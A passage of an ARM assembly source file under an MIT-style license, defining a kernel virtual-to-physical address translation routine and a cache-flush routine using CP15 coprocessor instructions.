PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | .arm 24 | .section .text 25 | 26 | 27 | @ TuxSH definitely is the bestest 28 | .global kernel_va_to_pa 29 | .type kernel_va_to_pa, %function 30 | kernel_va_to_pa: 31 | mov r1, #0x1000 32 | sub r1, #1 33 | and r2, r0, r1 34 | bic r0, r1 35 | mcr p15, 0, r0, c7, c8, 0 @ VA to PA translation with privileged read permission check 36 | mrc p15, 0, r0, c7, c4, 0 @ read PA register 37 | tst r0, #1 @ failure bit 38 | bic r0, r1 39 | addeq r0, r2 40 | movne r0, #0 41 | bx lr 42 | 43 | 44 | .global flush_caches 45 | .type flush_caches, %function 46 | flush_caches: 47 | mov r0, #0 48 | mcr p15, 0, r0, c7, c10, 0 @ clean entire DCache 49 | mov r0, #0 50 | mcr p15, 0, r0, c7, c10, 5 51 | mcr p15, 0, r0, c7, c5, 0 @ invalidate the entire ICache & branch target cache 52 | mcr p15, 0, r0, c7, c10, 4 @ data synchronization barrier 53 | bx lr 54 | --------------------------------------------------------------------------------